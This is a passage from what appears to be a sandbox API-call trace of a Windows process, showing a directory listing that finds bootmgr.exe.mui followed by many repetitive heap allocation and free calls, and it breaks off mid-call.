lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.572] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.572] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.572] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.572] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.572] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.572] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.579] PathFindFileNameW 